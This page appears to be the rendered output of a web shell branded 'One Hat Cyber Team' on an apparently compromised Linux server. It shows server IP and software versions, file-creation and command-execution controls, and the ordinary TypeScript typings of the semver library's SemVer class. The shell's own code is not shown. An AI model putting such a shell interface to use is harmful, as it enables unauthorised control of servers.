⚝
One Hat Cyber Team
⚝
Your IP:
172.22.0.1
Server IP:
151.80.20.34
Server:
Linux 794f04d97d5e 5.15.0-143-generic #153-Ubuntu SMP Fri Jun 13 19:10:45 UTC 2025 x86_64
Server Software:
Apache/2.4.62 (Debian)
PHP Version:
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
nodejs
/
@types
/
semver
/
classes
/
View File Name :
semver.d.ts
import semver = require('../index'); declare class SemVer { constructor(version: string | SemVer, optionsOrLoose?: boolean | semver.Options); raw: string; loose: boolean; options: semver.Options; format(): string; inspect(): string; major: number; minor: number; patch: number; version: string; build: ReadonlyArray<string>; prerelease: ReadonlyArray<string | number>; /** * Compares two versions excluding build identifiers (the bit after `+` in the semantic version string). * * @return * - `0` if `this` == `other` * - `1` if `this` is greater * - `-1` if `other` is greater. */ compare(other: string | SemVer): 1 | 0 | -1; /** * Compares the release portion of two versions. * * @return * - `0` if `this` == `other` * - `1` if `this` is greater * - `-1` if `other` is greater. */ compareMain(other: string | SemVer): 1 | 0 | -1; /** * Compares the prerelease portion of two versions. * * @return * - `0` if `this` == `other` * - `1` if `this` is greater * - `-1` if `other` is greater. */ comparePre(other: string | SemVer): 1 | 0 | -1; /** * Compares the build identifier of two versions. * * @return * - `0` if `this` == `other` * - `1` if `this` is greater * - `-1` if `other` is greater. */ compareBuild(other: string | SemVer): 1 | 0 | -1; inc(release: semver.ReleaseType, identifier?: string): SemVer; } export = SemVer;